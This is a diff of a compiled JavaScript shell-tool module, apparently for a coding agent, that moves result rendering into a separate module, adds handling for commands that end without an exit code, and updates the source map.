|
365
|
-
function rebuildBashResultRenderComponent(component, result, options, showImages) {
|
|
366
|
-
const state = component.state;
|
|
367
|
-
component.clear();
|
|
368
|
-
let output = getTextOutput(result, showImages).trim();
|
|
369
|
-
const truncation = result.details?.truncation;
|
|
370
|
-
const fullOutputPath = result.details?.fullOutputPath;
|
|
371
|
-
if (!options.isPartial && truncation?.truncated && fullOutputPath && output.endsWith("]")) {
|
|
372
|
-
const footerStart = output.lastIndexOf("\n\n[");
|
|
373
|
-
if (footerStart !== -1 && output.slice(footerStart).includes(fullOutputPath)) {
|
|
374
|
-
output = output.slice(0, footerStart).trimEnd();
|
|
375
|
-
}
|
|
376
|
-
}
|
|
377
|
-
if (output) {
|
|
378
|
-
const styledOutput = output
|
|
379
|
-
.split("\n")
|
|
380
|
-
.map((line) => theme.fg("toolOutput", line))
|
|
381
|
-
.join("\n");
|
|
382
|
-
if (options.expanded) {
|
|
383
|
-
component.addChild(new Text(`\n${styledOutput}`, 0, 0));
|
|
384
|
-
}
|
|
385
|
-
else {
|
|
386
|
-
component.addChild({
|
|
387
|
-
render: (width) => {
|
|
388
|
-
if (state.cachedLines === undefined || state.cachedWidth !== width) {
|
|
389
|
-
let preview = truncateToVisualLines(styledOutput, BASH_PREVIEW_LINES, width);
|
|
390
|
-
const shown = previewLineCount(preview.visualLines.length + preview.skippedCount, BASH_PREVIEW_LINES);
|
|
391
|
-
if (shown > preview.visualLines.length)
|
|
392
|
-
preview = truncateToVisualLines(styledOutput, shown, width);
|
|
393
|
-
state.cachedLines = preview.visualLines;
|
|
394
|
-
state.cachedSkipped = preview.skippedCount;
|
|
395
|
-
state.cachedWidth = width;
|
|
396
|
-
}
|
|
397
|
-
if (state.cachedSkipped && state.cachedSkipped > 0) {
|
|
398
|
-
const hint = formatHiddenLines(state.cachedSkipped, "earlier");
|
|
399
|
-
return ["", truncateToWidth(hint, width, "..."), ...(state.cachedLines ?? [])];
|
|
400
|
-
}
|
|
401
|
-
return ["", ...(state.cachedLines ?? [])];
|
|
402
|
-
},
|
|
403
|
-
invalidate: () => {
|
|
404
|
-
state.cachedWidth = undefined;
|
|
405
|
-
state.cachedLines = undefined;
|
|
406
|
-
state.cachedSkipped = undefined;
|
|
407
|
-
},
|
|
408
|
-
});
|
|
409
|
-
}
|
|
410
|
-
}
|
|
411
|
-
if (truncation?.truncated || fullOutputPath) {
|
|
412
|
-
const warnings = [];
|
|
413
|
-
if (fullOutputPath) {
|
|
414
|
-
warnings.push(`Full output: ${fullOutputPath}`);
|
|
415
|
-
}
|
|
416
|
-
if (truncation?.truncated) {
|
|
417
|
-
if (truncation.truncatedBy === "lines") {
|
|
418
|
-
warnings.push(`Truncated: showing ${truncation.outputLines} of ${truncation.totalLines} lines`);
|
|
419
|
-
}
|
|
420
|
-
else {
|
|
421
|
-
warnings.push(`Truncated: ${truncation.outputLines} lines shown (${formatSize(truncation.maxBytes ?? DEFAULT_MAX_BYTES)} limit)`);
|
|
422
|
-
}
|
|
423
|
-
}
|
|
424
|
-
component.addChild(new Text(`\n${theme.fg("warning", `[${warnings.join(". ")}]`)}`, 0, 0));
|
|
425
|
-
}
|
|
426
|
-
}
|
|
332
|
+
/**
|
|
333
|
+
* Re-exported so callers that format a shell call keep importing it from the tool module. The
|
|
334
|
+
* renderer itself lives in `renderers/bash.ts` since upstream split presentation from execution.
|
|
335
|
+
*/
|
|
336
|
+
export { formatShellCall } from "./renderers/bash.js";
|
|
427
337
|
export function createShellToolDefinition(cwd, config, options) {
|
|
428
338
|
const ops = options?.operations ?? createLocalBashOperations({ shellPath: options?.shellPath });
|
|
429
339
|
const commandPrefix = options?.commandPrefix;
|
|
@@ -499,7 +409,7 @@ export function createShellToolDefinition(cwd, config, options) {
|
|
|
499
409
|
},
|
|
500
410
|
},
|
|
501
411
|
},
|
|
502
|
-
constrainedSampling: getExperimentalToolSampling(),
|
|
412
|
+
constrainedSampling: getExperimentalToolSampling() ?? { type: "json_schema", strict: "prefer" },
|
|
503
413
|
async execute(_toolCallId, input, signal, onUpdate, ctx) {
|
|
504
414
|
const parsed = parseShellOperation(input);
|
|
505
415
|
if (!parsed.ok)
|
|
@@ -509,7 +419,7 @@ export function createShellToolDefinition(cwd, config, options) {
|
|
|
509
419
|
}
|
|
510
420
|
const { command, timeout, background } = parsed.operation;
|
|
511
421
|
const resolvedCommand = commandPrefix ? `${commandPrefix}\n${command}` : command;
|
|
512
|
-
const spawnContext = resolveSpawnContext(resolvedCommand, cwd, spawnHook, exposeSessionEnvironment, ctx);
|
|
422
|
+
const spawnContext = resolveSpawnContext(resolvedCommand, ctx?.cwd || cwd, spawnHook, exposeSessionEnvironment, ctx);
|
|
513
423
|
if (background) {
|
|
514
424
|
const spawnBg = ops.spawnBackground;
|
|
515
425
|
if (!spawnBg) {
|
|
@@ -658,7 +568,12 @@ export function createShellToolDefinition(cwd, config, options) {
|
|
|
658
568
|
const snapshot = await finishOutput();
|
|
659
569
|
const { text: outputText, details } = formatOutput(snapshot);
|
|
660
570
|
const resultDetails = { ...details, execution };
|
|
661
|
-
if (exitCode
|
|
571
|
+
if (exitCode === null) {
|
|
572
|
+
throw new ToolExecutionError(appendStatus(outputText, "Command terminated without an exit code"), {
|
|
573
|
+
execution,
|
|
574
|
+
});
|
|
575
|
+
}
|
|
576
|
+
if (exitCode !== 0) {
|
|
662
577
|
throw new ToolExecutionError(appendStatus(outputText, `Command exited with code ${exitCode}`), {
|
|
663
578
|
execution,
|
|
664
579
|
});
|
|
@@ -669,17 +584,7 @@ export function createShellToolDefinition(cwd, config, options) {
|
|
|
669
584
|
clearUpdateTimer();
|
|
670
585
|
}
|
|
671
586
|
},
|
|
672
|
-
|
|
673
|
-
const text = context.lastComponent ?? new Text("", 0, 0);
|
|
674
|
-
text.setText(formatShellCall(args, config.prompt));
|
|
675
|
-
return text;
|
|
676
|
-
},
|
|
677
|
-
renderResult(result, options, _theme, context) {
|
|
678
|
-
const component = context.lastComponent ?? new BashResultRenderComponent();
|
|
679
|
-
rebuildBashResultRenderComponent(component, result, options, context.showImages);
|
|
680
|
-
component.invalidate();
|
|
681
|
-
return component;
|
|
682
|
-
},
|
|
587
|
+
...createShellRenderers(config.prompt),
|
|
683
588
|
};
|
|
684
589
|
}
|
|
685
590
|
const bashToolConfig = {
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"bash.js","sourceRoot":"","sources":["../../../src/core/tools/bash.ts"],"names":[],"mappings":"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